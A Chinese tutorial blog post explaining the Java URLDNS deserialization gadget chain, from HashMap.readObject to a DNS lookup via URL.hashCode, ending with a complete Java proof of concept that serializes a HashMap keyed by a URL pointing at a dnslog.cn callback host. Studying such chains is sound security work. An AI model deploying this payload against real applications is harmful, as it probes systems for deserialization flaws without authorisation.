Java安全入门(二)——URLDNS POP链分析

分析

该反序列化的入口类是java.util.HashMap,它实现了Serializable接口

通过HashMap类的反序列化可以触发DNS查询

这是一个内置类无需第三方库即可验证,同时也可以验证无回显时反序列化是否成功

POP链总览

java.util.HashMap.readObject();
java.util.HashMap.putVal();
java.util.HashMap.hash();
java.net.URL.hashCode();
java.net.URLStreamHandler.hashCode();
java.net.URLStreamHandler.getHostAddress();

反序列化操作

HashMap类方法声明了反序列化方法private void readObject(java.io.ObjectInputStream s),这是我们的入口方法

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

最后的for循环循环读取了键值,然后利用putVal()存入HashMap,注意对键进行了hash();判断非空,然后调用key.hashCode(),追一下

Java安全入门(二)——URLDNS POP链分析

 这个方法会根据传入的参数调用,我们传入的是一个URL,因此调用的是java.net.URL类的方法。

Java安全入门(二)——URLDNS POP链分析

然后要使得hashCode==-1,进入handler.hashCode(this) 

 Java安全入门(二)——URLDNS POP链分析

 之后进入handler.hashCode(this)调用getHostAddress(u)就会触发DNS查询了

Java安全入门(二)——URLDNS POP链分析

反序列化条件总结

  1. 传入URL对象,url为dnslog域名
  2. URL对象的hashCode==-1,进入handler.hashCode(this)

序列化操作

我们要序列化的HashMap对象,泛型K为URL、V为String

Java安全入门(二)——URLDNS POP链分析

 给HashMap写入URL对象,可以通过HashMap的put方法,键是URL,值是任意String

Java安全入门(二)——URLDNS POP链分析

 要修改hashCode的值,于是就想到用反射来修改,因此POC先建立了反射

Java安全入门(二)——URLDNS POP链分析

 注意到put方法也调用了putVal,因此在序列化生成字符串的时候也会触发dns查询,要避免是生成时触发,就要避免触发,因此想到了先给url的hashCode赋值为非-1,跳过触发,put写入后再修改为-1,这样只会在反序列化的时候触发了。因为这里put是引用传值,可以再次修改hashCode。
Java安全入门(二)——URLDNS POP链分析

序列化条件总结

  1. 建立反射修改hashCode属性
  2. 先赋值hashCode为非-1,调用HashMap.put()写入后再修改其为-1以避免序列化触发dns查询

payload

package urldns;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;


public class SerializationURLDNS {
    public static void main(String[] args) throws Exception {

        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL url = new URL("http://tuwvrl.dnslog.cn/");

        Field f = URL.class.getDeclaredField("hashCode");
        f.setAccessible(true);


        f.set(url, 1);
        hashMap.put(url, "foo");

        f.set(url, -1);

        File file = File.createTempFile("temp",".out");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
        oos.writeObject(hashMap);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
        ois.readObject();

        file.deleteOnExit();
    }

}

Java安全入门(二)——URLDNS POP链分析

 

上一篇:Operation之变换操作符


下一篇:java-正在使用Observable Singleton Class处理不良的网络呼叫吗?